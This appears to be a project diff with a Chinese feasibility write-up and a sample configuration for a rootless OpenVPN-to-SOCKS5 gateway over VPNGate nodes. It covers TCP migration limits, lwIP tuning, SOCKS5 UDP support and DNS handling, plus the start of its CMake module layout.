| 节点健康检查与自动重连 | ✅ 可行 | 分两层:隧道内重连 + 换节点 |
| SOCKS5 + 用户名密码认证 | ✅ 可行 | RFC 1928 / RFC 1929 |
| 1000 并发连接 | ⚠️ 有条件可行 | 本进程能扛住;**VPNGate 免费节点扛不住** |
| TCP CONNECT / 超时 / 半关闭 / 异常断开 | ✅ 可行 | — |
| DNS 不泄漏 | ✅ 可行 | 域名在隧道内解析 |
| SOCKS5 UDP ASSOCIATE | ✅ 支持(不支持 FRAG 分片) | 见 §5 |
| 换节点后**新**连接走新隧道 | ✅ 可行 | make-before-break |
| 换节点后**保持已建立的 TCP 连接** | ❌ **不可能** | 见 §1,这是本需求中唯一真正不可能的部分 |
| 换节点后保持 UDP association | ✅ 可行(意外收获) | 见 §5.3 |
---
## 1. 不可能的部分:已建立的 TCP 连接无法跨节点迁移
这是需求里唯一物理上做不到的事情,必须说清楚为什么,否则后面的设计无从谈起。
### 1.1 为什么不可能
一条 TCP 连接由四元组 `(src_ip, src_port, dst_ip, dst_port)` 唯一标识,**且这个四元组在
连接生命周期内不可变**。当我们从 VPN 节点 A 切换到节点 B:
1. 隧道内网 IP 变了。节点 A 通过 `push ifconfig` 给我们 `10.211.1.6`,节点 B 会给一个完全
不同的地址。我们协议栈的 `src_ip` 随之改变。
2. 出口公网 IP 变了。对端服务器看到的来源地址从 A 的公网 IP 变成 B 的公网 IP。
3. 节点 A 上的 NAT 会话表项随隧道断开而销毁。即便我们伪造原 `src_ip`B 也不会、也无法把
包按 A 的映射发出去。
于是切换后我们发出的报文,在对端 TCP 看来来自一个陌生的四元组。对端的反应是
**丢弃(不匹配任何 TCB)或回 RST**,绝不会当作原连接的续传。这是 TCP 的设计本身,不是实现缺陷。
### 1.2 那些「能迁移」的协议为什么能
| 协议 | 迁移机制 | 为什么救不了我们 |
|---|---|---|
| MPTCP (RFC 8684) | 在新路径上加 subflow,用 token 关联到同一连接 | 需要**对端也支持**。公网上绝大多数服务器没开。且需要内核 MPTCP 栈 |
| QUIC (RFC 9000 §9) | 用 Connection ID 而非四元组标识连接,支持路径迁移 | QUIC 跑在 UDP 上。见 §5.3——这部分我们**确实能救** |
| SCTP multihoming | 连接绑定到地址集合 | 公网部署几乎为零 |
结论:对**普通 TCP**,无论在应用层做什么,都无法把一条已建立的连接搬到另一个出口 IP 上。
任何声称能做到的方案,要么是重新建连(破坏字节流语义),要么是没真正换出口。
### 1.3 我们实际能做到什么(工程解法)
需求里写了「如果做不到,那么断开所有旧连接」。直接全断是可以的,但太粗暴——正常网页浏览
场景下会造成明显可见的中断。本项目实现的是**优雅降级的三段式方案**:
**A. Make-before-break(先建后拆)**
新旧两条隧道**并存**一段时间。每条隧道是一个独立的 `Egress`(独立的 OpenVPN 会话 + 独立的
lwIP 协议栈实例)。
- 新的 SOCKS5 连接 → 绑定到新 Egress。
- 已存在的连接 → 继续留在旧 Egress 上,**完全不受影响**,直到自然结束。
旧 Egress 进入 `Draining` 状态:不再接受新连接,引用计数归零即销毁。
**B. 有界的排空窗口**
排空不能无限期,否则一条长连接(SSH、WebSocket)会让旧隧道永远留着。设 `drain_grace`
(默认 120s)。窗口内自然结束的连接是零感知的;窗口到期仍存活的连接被强制关闭——这就是需求
里说的「做不到就断开」,只是把「全部立刻断」缩小成了「少数超时的才断」。
同时并存的 draining Egress 数量有上限(默认 2),避免连续切换导致隧道堆积。
**C. 零进度连接可透明重试**
如果一条 SOCKS5 连接在切换发生时,`CONNECT` 还没完成、或者完成了但**双向都还没传输过任何
应用字节**,那么重建它对客户端是完全无感的——因为还没有任何字节流状态需要保留。这类连接
我们直接在新 Egress 上重连,客户端完全察觉不到。
实测中这能覆盖相当一部分场景(浏览器的预连接、连接池里的空闲连接)。
**代价(必须诚实说明)**:并存期间内存和 CPU 翻倍(两个 lwIP 实例、两个 OpenVPN 会话),
出口 IP 在窗口内不唯一(旧连接走旧 IP)。对于「出口 IP 必须唯一」的场景,配置
`switch.mode = hard` 退化为「立即全断」。
---
## 2. 无 root:为什么必须自带 TCP/IP 栈
### 2.1 环境事实
目标环境 `/dev/net/tun` **不存在**,进程 uid=1000。即便设备节点存在,`TUNSETIFF` 也需要
`CAP_NET_ADMIN`。所以:**拿不到 tun 设备,也无权改路由表**。
(备选路径 unprivileged userns + netns 见 §7,本项目不作为默认。)
### 2.2 openvpn3 能否把裸 IP 包交给我们
能,而且是官方支持的路径。关键证据在 `openvpn/tun/builder/client.hpp:59`
```cpp
Base::stream = new openvpn_io::posix::stream_descriptor(io_context, socket);
```
`tun_builder_establish()` 返回的 `int` fd 被直接包进 **ASIO 的 POSIX stream_descriptor**
之后按裸 IP 包做 `async_read_some` / `async_write`。这条路径上**没有任何 tun 专属的 ioctl**
openvpn3 不关心 fd 究竟是不是 tun 设备——它只要一个能异步读写的 fd。
于是:
```
socketpair(AF_UNIX, SOCK_DGRAM, 0, sv)
sv[0] ──► 交给 openvpn3tun_builder_establish 返回它)
sv[1] ──► 我们自己持有,接到 lwIP netif
```
`SOCK_DGRAM` 而非 `SOCK_STREAM` 是刻意的:**数据报边界天然等于 IP 包边界**,不需要任何
额外的长度前缀或分帧逻辑,也不会出现半个包的情况。
这条路径由 CMake 选项 `CLI_TUNBUILDER=ON`(即 `-DUSE_TUN_BUILDER`)启用,openvpn3 自带的
`test/ovpncli` 就是这么用的,在 Linux 上是被官方 CI 覆盖的。
**已对真实节点实测通过(非推断)**。用 `tools/tunnel_smoke.cpp`
`public-vpn-113@219.100.37.100:443/tcp` 跑了一次完整会话,uid=1000、无 root、无
`/dev/net/tun`
```
tunnel up: ip=10.239.88.225/30 gw=10.239.88.226 mtu=1500
dns=[10.239.254.254, 8.8.8.8] redirect_gw=true routes=0
tx: 手工构造的 IPv4+ICMP echo → 8.8.8.8
rx #1: IPv4 8.8.8.8 -> 10.239.88.225 ICMP len=44 (wire 44)
共 6 个 echo replytx=7 pkts/308 B (dropped 0),退出码 0
```
三个结论就此从「设计假设」变成「已验证事实」:
1. openvpn3 接受 socketpair 的 fd,全程没有任何 tun 专属 ioctl;
2. **收到的是裸 IPv4,没有 4 字节 `tun_prefix` 框架头**——`len=44 (wire 44)`
即 IP 首部里的 total length 与数据报长度逐字节相等,多一个前缀就会是 48/44;
3. 数据报边界确实等于 IP 包边界,读侧不需要任何分帧逻辑。
失败路径同样验证过:已死的节点走 RECONNECTING → RECONNECTING →
`down: CONNECTION_TIMEOUT`,状态机与 fd 回收都干净。
> **UDP 传输未能在本沙箱内实测。** 4 个 VPNGate UDP 节点全部 `CONNECTION_TIMEOUT`
> 但同环境下向三台公网 NTP 服务器(UDP/123)发包也全部超时,而 DNSUDP/53)正常。
> 判定为**沙箱只放行 UDP/53**,而不是 UDP 代码路径有问题——两者在本机无法区分。
> 影响有限:样本 96 个节点里仅 8 个提供 UDP,TCP/443 是绝大多数节点的唯一入口。
### 2.3 由此带来的简化
因为我们从不碰宿主机路由表:
- `tun_builder_add_route` / `tun_builder_reroute_gw` 全部**记录日志后返回 true**,不做实际动作。
隧道内的「默认路由」由我们自己的 lwIP 实例定义——它只有一个 netif,天然全部流量走隧道。
- `socket_protect()` 直接返回 true。它的用途是防止 VPN 自己的传输 socket 被路由进隧道造成环路;
我们没改宿主路由,不存在环路。
- 不产生 DNS 泄漏风险的系统级配置改动(`/etc/resolv.conf` 一律不碰)。
**副作用**:本进程是一个纯粹的 SOCKS5 网关,**不会**把宿主机其它程序的流量导入 VPN。这符合
需求(对外提供 SOCKS5 服务),但要明确它不是一个系统级 VPN 客户端。
### 2.4 为什么是 lwIP
需要一个用户态 TCP/IP 栈。候选:
| 方案 | 语言 | 判断 |
|---|---|---|
| **lwIP** | C | ✅ 选用。成熟、BSD 协议、可嵌入 C++、被 tun2socks/hev-socks5-tunnel 大规模验证 |
| gVisor netstack | Go | 性能更好,但引入 Go 运行时和跨语言边界,与 C++ 的 openvpn3 拼接成本高 |
| smoltcp | Rust | 同上,且 no_std 取向,功能面偏窄 |
| 自己写 | — | 不予考虑 |
lwIP 的已知短板(§4 展开):它是嵌入式栈,默认配置扛不住 1000 连接,必须重新配参数。
关键点:**我们是连接的发起方**,不是 tun2socks 那种「拦截别人的连接」。所以不需要
`LWIP_HOOK_IP4_INPUT` 之类的劫持技巧,直接用 raw API 的 `tcp_new` / `tcp_connect` 即可,
复杂度显著低于典型 tun2socks 实现。
---
## 3. VPNGate 的真实情况
### 3.1 API 格式(实测)
`http://www.vpngate.net/api/iphone/` 返回:
```
*vpn_servers
#HostName,IP,Score,Ping,Speed,CountryLong,CountryShort,NumVpnSessions,Uptime,TotalUsers,TotalTraffic,LogType,Operator,Message,OpenVPN_ConfigData_Base64
public-vpn-113,219.100.37.100,3008408,10,287135107,Japan,JP,113,...,IyMjIyMj...
...
*
```
实测数据:响应 1.29 MB99 行(1 行 magic + 1 行表头 + 96 行数据 + 1 行 `*` 结束符),
**最长行 13529 字符**
「每行可能非常长」的根因:第 15 列是**整个 .ovpn 配置文件的 base64**,含内联 CA 证书、
客户端证书和私钥,单行轻松过 10 KB。
对解析器的硬性要求:
- 不得使用固定大小的行缓冲区。必须流式或动态增长。
- `Message``Operator` 列包含**自由文本**,实测有内容为
`Daiyuu Nobori_ Japan. Academic Use Only.` 的行——注意其中的 `_` 是 VPNGate 对逗号的转义
替换,但不能假定所有行都被正确转义,必须按 RFC 4180 处理引号,并对**列数不足的行直接跳过**
而不是崩溃。
- 必须容忍 `Ping` / `Speed` 为空字符串。
### 3.2 节点配置的真实内容(实测解码第一个节点)
```
dev tun
proto tcp
remote 219.100.37.100 443
cipher AES-128-CBC
data-ciphers AES-128-CBC
auth SHA1
resolv-retry infinite
nobind
persist-key
persist-tun
client
verb 3
<ca>...</ca> <cert>...</cert> <key>...</key>
```
重要结论:
1. **不需要用户名密码**。配置内联了客户端证书和私钥,是纯证书认证。(部分老节点需要
`vpn`/`vpn`,代码里保留了 fallback。)
2. **`proto tcp` + 443 端口**。这意味着 **TCP-over-TCP**——隧道内的 TCP 跑在隧道外的 TCP 上。
两层拥塞控制叠加,丢包时会互相放大重传,即所谓 TCP meltdown。缓解手段:把 lwIP 的
`TCP_MSS` 调低避免分片、开 SACK、限制内层窗口不要过分激进。**这是免费 VPNGate 的固有
特性,不是我们能修复的**,只能缓解。同一节点若同时提供 UDP 入口应优先选 UDP。
3. **`AES-128-CBC` + `SHA1`**。都是弱算法。openvpn3 在较新版本里默认拒绝部分遗留算法,
需要显式开 `enableLegacyAlgorithms` / `tlsCertProfileOverride=legacy`,否则握手直接失败。
较新的 VPNGate 配置已经带了 `data-ciphers`,所以 NCP 协商能正常工作。
4. 节点跑的是 SoftEther 的 OpenVPN 兼容层,不是原版 openvpn 服务端。行为上有偏差,
profile 需要做净化/重写(去掉 openvpn3 不认识的指令,补上必需的指令)。
### 3.3 API 指标可信度
`Score` / `Ping` / `Speed` 是 **VPNGate 中心服务器**到节点测出来的,不是**我们**到节点。
地理位置一变,排序完全失效。`Speed` 那个 287135107(≈287 Mbps)是节点自报的线路带宽,
不代表你能分到多少——`NumVpnSessions=113` 意味着 113 个人在抢。
因此选点策略必须以**本地实测**为主:我们自己对候选节点的 OpenVPN 端口做 TCP 握手计时,
API 指标只用于**初筛和排序前的先验权重**。详见 `ARCHITECTURE.md` §选点。
---
## 4. 1000 并发:能到什么程度
拆成三个独立的瓶颈来看。
### 4.1 本进程(可控)
- **不能一连接一线程**。1000 线程 × 8 MB 默认栈 = 8 GB 虚拟内存,上下文切换开销也不可接受。
本项目用 ASIO 的 proactor 模型,`min(hardware_concurrency, N)` 个 io 线程跑事件循环,
每条连接是一组 handler + 一个 strand**零专属线程**。
- **fd 消耗**:每条 SOCKS5 连接占 1 个客户端 fd。出口侧走 lwIP,**不消耗 fd**(这是用户态栈
的一个实在好处)。1000 连接 ≈ 1000 + 少量固定 fd,默认 `ulimit -n 1024` 不够,启动时程序
会自己把 `RLIMIT_NOFILE` 提到 soft=hard 并在不足时告警。
- **内存**:每连接两个方向的中继缓冲(默认 32 KB 合计)+ lwIP 的 PCB 与重组队列。
1000 连接 ≈ 32 MB 中继缓冲 + lwIP 开销,量级在 100–200 MB。可接受。
### 4.2 lwIP(需要重新配置,且是真实风险)
lwIP 的默认配置是给 MCU 用的,`MEMP_NUM_TCP_PCB` 默认 **5**。直接用必然崩。本项目的
`lwipopts.h` 做了如下调整:
- `MEM_LIBC_MALLOC=1` + `MEMP_MEM_MALLOC=1`:所有 memp 池改走 libc malloc
**彻底绕开静态池容量规划问题**。代价是失去池化的确定性和一点性能,换来的是不会因为某个
池耗尽而莫名其妙丢包。对我们这种「不是硬实时、但要求鲁棒」的场景是正确的取舍。
- 既然内存不再有硬上界,**准入控制必须由我们自己做**:`socks5.max_sessions`(默认 1200
在 accept 层直接拒绝超限连接,这是防 OOM 的唯一闸门。
- `LWIP_WND_SCALE=1` + `TCP_RCV_SCALE=2``LWIP_TCP_SACK_OUT=1`VPN 链路 BDP 大且有丢包,
没有窗口缩放和 SACK 会严重拖垮吞吐。
- `TCP_MSS=1360`:保守值,避开隧道 MTU 导致的分片。
**诚实的风险提示**:lwIP 是单线程栈,所有连接的协议处理串行在一个线程上。1000 条**高吞吐**
连接会让这个线程成为瓶颈。1000 条**普通**连接(大部分时间空闲,如浏览器场景)没有问题。
如果需求真是 1000 条满速并发,lwIP 会先于 VPN 节点成为瓶颈,届时应考虑换 gVisor netstack
或多 Egress 分片。架构上 `Egress` 是接口,替换栈实现不影响上层。
### 4.3 VPNGate 节点(不可控,且是真正的天花板)
这是必须直说的部分:**一个免费的 VPNGate 节点几乎不可能支撑 1000 条并发连接**。
- 节点是志愿者用家用带宽跑的 SoftEther,实测样本里单节点已有 113 个并发会话在共享带宽。
- SoftEther 对单会话的连接数和 NAT 表项有限制。
- `proto tcp` 意味着我们所有流量还要挤在**一条**到节点的 TCP 连接里(openvpn3 单传输连接),
这条连接的拥塞窗口是全局共享的。
所以「1000 并发」的合理解读是:**本网关的架构和实现能处理 1000 条并发连接而不劣化**,
至于端到端能跑多少,取决于当时选中的节点。程序会导出 `active_sessions`
`connect_failure_rate``egress_rtt_ms` 等指标,节点扛不住时健康检查会触发换节点。
---
## 5. SOCKS5 相关的明确表态
### 5.1 UDP ASSOCIATE**支持**
明确回答需求里的问题:**支持 SOCKS5 UDP ASSOCIATE**RFC 1928 §7)。实现要点:
- `UDP ASSOCIATE` 请求到达后,在本地绑定一个 UDP socket 接收客户端数据报,
同时在 EgresslwIP)里开一个 UDP PCB 作为出口。
- 回复的 `BND.ADDR`/`BND.PORT` 使用可配置的 `socks5.advertise_addr`——不能想当然填
`0.0.0.0`,客户端需要一个**它能到达**的地址。这在容器/NAT 部署里是个常见坑。
- association 的生命周期绑定到那条 TCP 控制连接。控制连接一断,UDP 立即回收(RFC 要求)。
- 空闲超时独立计时(默认 60s),防止客户端不关控制连接导致 PCB 泄漏。
**不支持的部分(明确声明)**`FRAG != 0` 的分片数据报**直接丢弃**。RFC 1928 允许实现不支持
分片。理由:分片重组需要维护跨数据报状态且极易被用于放大攻击,而现实中几乎没有客户端使用
curl、Chrome、SSH -D 都不用)。丢弃时会打 warn 日志并计数,不会静默。
### 5.2 DNS
域名解析**在隧道内完成**,不泄漏:
- `CONNECT` 请求的 `ATYP=DOMAINNAME` 不在本地 `getaddrinfo`,而是走 `Egress::async_resolve`
即通过 lwIP 的 UDP 向 VPN 服务器 push 下来的 DNS 服务器发查询。
- 自带解析器而非用 lwIP 内置 `dns_gethostbyname`:需要 TTL 感知的缓存、并发去重、
UDP 截断后回落 TCP、以及跨 Egress 实现复用(DirectEgress 也要能用)。lwIP 内置 DNS 这些都没有。
- 若 VPN 未 push DNS,回落到配置的 `dns.fallback_servers`(默认 1.1.1.1 / 8.8.8.8),
**仍然走隧道发出**,不走宿主机。
- 走 UDP ASSOCIATE 的 53 端口流量天然也在隧道内,无需特殊处理。
### 5.3 意外收获:UDP association 可以跨节点迁移
§1 说 TCP 不能迁移。但 **UDP 可以**,因为它无连接——没有需要保留的序列号状态。
节点切换时,对于每个存活的 UDP association,我们只需在新 Egress 上重新 bind 一个 UDP PCB
**保持面向客户端的那个 socket 和端口不变**。客户端完全无感。
对于 QUIC 这类自带连接迁移(RFC 9000 §9,用 Connection ID 而非四元组标识连接)的协议,
它会自己完成路径验证并继续跑——也就是说,**通过我们的 SOCKS5 代理的 QUIC/HTTP3 连接
能够真正做到跨 VPN 节点切换而不中断**。这是 TCP 拿不到的待遇。
代价:出口 IP 变化会让部分服务端(把 UDP 会话绑定到源 IP 的)判定为新会话。这个由应用层
自己处理,代理层无能为力。
### 5.4 不实现的部分
- `BIND` 命令:明确回 `X'07' Command not supported`。它需要在出口侧监听端口等待入站连接,
而 VPNGate 节点在 NAT 后面,根本收不到入站连接。实现了也不能用。
- GSSAPI 认证(RFC 1961):不实现,回 `X'FF'`(无可接受方法)。
- SOCKS4/4a:不实现。
---
## 6. 其它已识别的工程风险
| 风险 | 影响 | 缓解 |
|---|---|---|
| openvpn3 `connect()` 是阻塞调用 | 每条隧道需独占一个线程 | 每个 Egress 一个 ovpn 线程;切换期间峰值 2 个。可接受 |
| 节点 profile 含 openvpn3 不识别的指令 | 直接 `option_error` 连不上 | `ProfileSanitizer` 白名单重写,见 `ovpn/profile_sanitizer` |
| 弱算法被新版 openvpn3 拒绝 | 握手失败 | 显式 `enableLegacyAlgorithms=true` + `tlsCertProfileOverride="legacy"` |
| VPNGate API 限流 / 被墙 / 返回 HTML | 拿不到节点列表 | 磁盘缓存 + 多镜像 + 指数退避;缓存可用时不阻塞启动 |
| 隧道内 MTU 与实际路径不符 | 大包黑洞 | `TCP_MSS` 保守取值 + 采纳 `tun_builder_set_mtu` |
| 切换风暴(反复横跳) | 连接持续被打断 | 迟滞判定 + 最小切换间隔 + 候选必须显著更优才切 |
| socketpair 数据报队列满 | 丢 IP 包 | 放大 `SO_SNDBUF`/`SO_RCVBUF`;丢包由 TCP 重传兜底(这是 IP 层,允许丢) |
| lwIP 单线程瓶颈 | 高吞吐时吞吐受限 | 见 §4.2;架构上可替换 |
---
## 7. 备选方案:unprivileged userns + netns(未采用)
有 root 或允许非特权 user namespace 时,还有一条路:
```
unshare -Ur -n → 在新 netns 里拥有 CAP_NET_ADMIN → 创建真 tun 设备 → 用内核 TCP/IP 栈
```
优点很实在:内核栈的性能、成熟度、可观测性(`ss``tcpdump`)都远超 lwIP,1000 并发毫无压力。
不采用的原因:
1. 目标环境 `/dev/net/tun` **不存在**,这条路直接堵死。
2. 需要 mount namespace 配合 bind-mount `/dev/net/tun`,部署复杂度陡增。
3. SOCKS5 监听端口在宿主 netns、出口 socket 在 VPN netns,需要跨 netns 传 fd`SCM_RIGHTS`),
引入一个 helper 进程。
4. 很多容器环境(无 `CAP_SYS_ADMIN`、seccomp 限制 `unshare`)里不可用。
架构上 `Egress` 是接口,将来要加 `NetnsEgress` 不影响任何上层代码。这条路**留了口子但不修**。
---
## 附录:验证方法
本文所有事实性断言的来源:
```bash
# 环境
uname -a; id; ls -l /dev/net/tun # → 无 tun 设备,uid=1000
# VPNGate API 实测
curl -s -o /tmp/v.csv -w '%{size_download}' http://www.vpngate.net/api/iphone/
# → 1293288 bytes
awk '{if(length($0)>m)m=length($0)}END{print m}' /tmp/v.csv
# → 13529
# 解码第 1 个节点的 base64 配置 → 见 §3.2
# openvpn3 tun builder 路径
git clone --depth 1 https://github.com/OpenVPN/openvpn3
grep -n 'stream_descriptor' openvpn/tun/builder/client.hpp
# → :59 Base::stream = new openvpn_io::posix::stream_descriptor(io_context, socket);
cmake -S . -B build -G Ninja -DCLI_TUNBUILDER=ON && cmake --build build --target ovpncli
# → 编译成功,0 warning
# socketpair-as-tun:对真实节点的端到端验证(§2.2)
cmake -S . -B build -DOVG_WITH_TUNNEL=ON && cmake --build build --target ovg_tunnel_smoke
./build/src/ovg_tunnel_smoke --node public-vpn-113 --ping 8.8.8.8 --seconds 15
# → tunnel up 10.239.88.225/306 个 ICMP echo replyexit 0
# 沙箱 UDP 出网能力(解释为何 UDP 节点无法实测)
# DNS 8.8.8.8:53 → 56 字节应答,正常
# NTP 216.239.35.0 / 129.6.15.28 / 162.159.200.1 :123 → 三个全部超时
```
依赖版本:openvpn3 master2026-07 快照)、lwIP 2.2.1、OpenSSL 3.5.6、lz4 1.10.0、
fmt 10.1.1、ASIO 1.30standalone)、GCC 14.2 / C++20。
+220
View File
@@ -0,0 +1,220 @@
# openvpngate -- sample configuration
#
# Every key below is optional and shown at its default unless noted. Durations
# take a unit suffix ("250ms", "30s", "5m", "2h"); a bare number means seconds.
# Comments run from '#' to end of line.
#
# openvpngate -c etc/openvpngate.conf --check validate and print, no start
# openvpngate -c etc/openvpngate.conf run
#
# Nothing here needs root. The tunnel is terminated in userspace (lwIP), so
# there is no tun device, no routing table change, and no capability to grant.
# ---------------------------------------------------------------------------
[socks5]
# ---------------------------------------------------------------------------
listen_address = 127.0.0.1
listen_port = 1080
# Leave this on. With it off the proxy is an open relay to anyone who can reach
# the listen address.
require_auth = true
# Credentials. Two ways, and they merge:
# * the [users] section at the bottom of this file (plaintext, dev only)
# * auth_file, which also accepts pre-hashed lines and is reloaded on SIGHUP
# auth_file = etc/socks5.auth
# SOCKS5 UDP ASSOCIATE. Supported, with the caveats in docs/FEASIBILITY.md §5:
# fragmented datagrams (FRAG != 0) are dropped and counted, never reassembled.
udp_associate = true
# The address handed back in the UDP ASSOCIATE reply. It has to be reachable
# *by the client*, which is why it cannot be derived from listen_address when
# that is 0.0.0.0. Empty = use the control connection's local address.
# advertise_address =
# Admission control. Refused at accept, before a session object exists: this is
# the only thing standing between a burst and lwIP's allocator.
max_sessions = 1200
handshake_timeout = 10s
connect_timeout = 20s
idle_timeout = 5m
udp_idle_timeout = 60s
relay_buffer_size = 16384
# 0 = min(hardware_concurrency, 4). More than four buys little: every tunnelled
# byte passes through lwIP's single strand regardless.
io_threads = 0
# ---------------------------------------------------------------------------
[vpngate]
# ---------------------------------------------------------------------------
# The public node directory. Lines in this CSV can be ~10 KB each (the whole
# .ovpn profile is base64 in the last column), which the parser handles by
# streaming rather than by splitting the response into lines.
api_urls = http://www.vpngate.net/api/iphone/
refresh_interval = 30m
http_timeout = 30s
# A stale cache still beats no nodes at all when the API is down.
cache_path = var/vpngate_cache.csv
cache_max_age = 6h
max_response_bytes = 33554432
# ---------------------------------------------------------------------------
[selector]
# ---------------------------------------------------------------------------
# Two-phase: rank everything cheaply from the API metrics, then actively probe
# only the survivors. VPNGate's own numbers are measured from their
# infrastructure, not from yours, so they are a prior and nothing more.
# country_allow = JP, KR, SG
# country_deny = RU
prefer_udp = true
probe_candidates = 12
probe_samples = 3
probe_timeout = 3s
probe_concurrency = 8
# Prior weights (API-derived).
w_score = 0.35
w_speed = 0.30
w_sessions = 0.20
w_uptime = 0.15
# Final blend. Our own measured RTT outweighs anything the directory claims.
w_rtt = 0.45
w_prior = 0.30
w_history = 0.25
# Per-node outcome history. This is what stops the selector walking into the
# same broken node every time it appears with a flattering score.
history_path = var/node_history.tsv
failure_backoff_initial = 60s
failure_backoff_max = 1h
# ---------------------------------------------------------------------------
[switch]
# ---------------------------------------------------------------------------
# graceful = make-before-break (new tunnel is fully up before the old one is
# replaced); hard = promote and close everything at once.
mode = graceful
# How long a replaced egress keeps serving the sessions still on it.
drain_grace = 2m
max_draining = 2
# Anti-flap: no switch within this window of the last one, and a candidate must
# beat the incumbent by improvement_margin to be worth the disruption.
min_interval = 60s
improvement_margin = 0.20
backoff_initial = 30s
backoff_max = 8m
# What survives a switch. A session that has moved no bytes carries no TCP
# state, so it is re-dialled on the new egress transparently; a UDP association
# has no sequence state at all, so only its egress-side socket is replaced and
# the client never sees the port change. Everything else drains and is closed
# when the grace window expires -- see docs/ARCHITECTURE.md §5.3.
retry_zero_progress = true
rehome_udp = true
# Go looking for a *better* node while the current one is healthy. Off by
# default: a scan probes a dozen volunteer-run servers and a switch costs every
# session that has moved bytes. Degradation-driven switching covers the
# requirement; this is the optional upgrade path.
opportunistic_interval = 0
# ---------------------------------------------------------------------------
[health]
# ---------------------------------------------------------------------------
interval = 15s
# Consecutive bad windows before a switch is requested. One bad sample on a
# volunteer tunnel in another country is weather, not a failure.
unhealthy_windows = 3
# The probe dials this through the egress and drops the stream immediately. A
# TCP handshake rather than a DNS lookup on purpose: a lookup can be answered
# from cache without a byte crossing the tunnel, which would report a dead
# tunnel as the healthiest node in the fleet.
probe_domain = www.google.com
probe_port = 80
probe_timeout = 5s
min_score = 0.40
max_connect_failure_rate = 0.50
stall_threshold = 45s
# ---------------------------------------------------------------------------
[ovpn]
# ---------------------------------------------------------------------------
# VPNGate nodes are overwhelmingly AES-128-CBC + SHA1. Turning this off is
# principled and will fail to connect to most of the directory.
allow_legacy_algorithms = true
# Most VPNGate nodes ignore credentials; the ones that ask want "vpn"/"vpn".
username = vpn
password = vpn
connect_timeout = 30
tunnel_up_timeout = 45
compression = true
# Socket buffers for the tun-side socketpair. Too small drops IP packets under
# burst -- recoverable, but it costs throughput.
packet_socket_buffer = 2097152
# ---------------------------------------------------------------------------
[dns]
# ---------------------------------------------------------------------------
# Used inside the tunnel when the server pushes no resolver of its own. Must be
# literals: resolving a resolver needs a resolver.
fallback_servers = 1.1.1.1, 8.8.8.8
timeout = 5s
cache_entries = 4096
min_ttl = 5s
max_ttl = 1h
prefer_ipv4 = true
# ---------------------------------------------------------------------------
[admin]
# ---------------------------------------------------------------------------
# GET /status /nodes /sessions /health /metrics /healthz, POST /switch.
# There is NO authentication here. Keep it on loopback.
enabled = true
listen_address = 127.0.0.1
listen_port = 9080
# ---------------------------------------------------------------------------
[log]
# ---------------------------------------------------------------------------
level = info
file = - # "-" is stderr
[log.modules]
# Per-module overrides; the tag is the one in square brackets in each log line.
# socks5 = debug
# netstack = warn
# health = debug
# ---------------------------------------------------------------------------
[egress]
# ---------------------------------------------------------------------------
# Which way out to build:
#
# tunnel OpenVPN + lwIP -- the real thing
# direct host sockets, NO VPN -- for testing the proxy in isolation. A build
# configured with -DOVG_WITH_TUNNEL=OFF refuses to start in any other
# mode rather than silently proxying in the clear.
mode = tunnel
# ---------------------------------------------------------------------------
[users]
# ---------------------------------------------------------------------------
# user = password, hashed with a random salt at load time. Fine for a laptop;
# for anything shared use socks5.auth_file, which takes pre-hashed lines and
# reloads on SIGHUP without dropping a single live session.
alice = changeme
+156
View File
@@ -0,0 +1,156 @@
# Module layout mirrors docs/ARCHITECTURE.md. Dependencies point strictly one
# way -- app -> {health, socks5, egress, selector} -> {netstack, ovpn, vpngate}
# -> common -- and CMake is where that is enforced: if a link edge is missing
# here, the include is wrong.
# Settings every module shares.
add_library(ovg_flags INTERFACE)
target_include_directories(ovg_flags INTERFACE
${CMAKE_CURRENT_SOURCE_DIR}
${ASIO_INCLUDE_DIR})
target_compile_definitions(ovg_flags INTERFACE ASIO_STANDALONE)
# Compiled in, not #ifdef'd out at the include level: every module can test it
# with a plain `if constexpr`/`#if` and the value is never accidentally absent.
if(OVG_WITH_TUNNEL)
target_compile_definitions(ovg_flags INTERFACE OVG_WITH_TUNNEL=1)
else()
target_compile_definitions(ovg_flags INTERFACE OVG_WITH_TUNNEL=0)
endif()
target_compile_options(ovg_flags INTERFACE
-Wall -Wextra -Wpedantic
-Wno-unused-parameter)
target_link_libraries(ovg_flags INTERFACE
fmt::fmt
Threads::Threads
PkgConfig::OPENSSL)
# ---- common: logging, config, metrics, errors, HTTP ------------------------
add_library(ovg_common STATIC
common/logging.cpp
common/endpoint.cpp
common/error.cpp
common/metrics.cpp
common/config.cpp
common/http_get.cpp)
target_link_libraries(ovg_common PUBLIC ovg_flags)
# ---- vpngate: API client, CSV parsing, node list ---------------------------
add_library(ovg_vpngate STATIC
vpngate/csv_parser.cpp
vpngate/node_store.cpp)
target_link_libraries(ovg_vpngate PUBLIC ovg_common)
# ---- ovpn: one OpenVPN session, and the socketpair standing in for a tun ---
# This is the only target that sees openvpn3 headers. Everything above it talks
# to TunnelClient, whose implementation is pimpl'd away, so a change in the core
# cannot ripple past this line.
add_library(ovg_ovpn STATIC
ovpn/packet_pipe.cpp
ovpn/profile_sanitizer.cpp
ovpn/tunnel_client.cpp)
target_link_libraries(ovg_ovpn PUBLIC ovg_vpngate)
if(OVG_WITH_TUNNEL)
# PRIVATE: ovg_openvpn3's include directories must not leak to our callers.
# They arrive as -isystem (see cmake/Dependencies.cmake), so the core's own
# warnings stay quiet while our code in tunnel_client.cpp keeps -Wall -Wextra.
target_link_libraries(ovg_ovpn PRIVATE ovg_openvpn3)
endif()
# ---- netstack: the userspace TCP/IP stack ----------------------------------
# Only built with the tunnel: without lwIP there is nothing here to compile, and
# the direct egress uses host sockets through the same interfaces (stream.h).
if(OVG_WITH_TUNNEL)
# The port layer: sys_now() and the three hooks arch/cc.h expands to. lwIP
# itself will not link without them, so it has to be its own target rather
# than part of ovg_netstack -- a static archive only resolves symbols that are
# already undefined when the linker reaches it, and ovg_netstack sits *before*
# ovg_lwip on the link line. As a separate target it lands after, where lwIP's
# references to it are pending.
#
# It gets lwIP's headers by path rather than by linking ovg_lwip, which would
# make the dependency circular for no benefit: it needs the declarations, not
# the objects.
add_library(ovg_lwip_port STATIC netstack/lwip_port/lwip_shim.cpp)
target_link_libraries(ovg_lwip_port PUBLIC ovg_common)
target_include_directories(ovg_lwip_port SYSTEM PRIVATE ${LWIP_INCLUDE_DIRS})
target_link_libraries(ovg_lwip INTERFACE ovg_lwip_port)
add_library(ovg_netstack STATIC
netstack/lwip_stack.cpp
netstack/lwip_tcp.cpp
netstack/lwip_udp.cpp
netstack/dns_resolver.cpp)
target_link_libraries(ovg_netstack PUBLIC ovg_common)
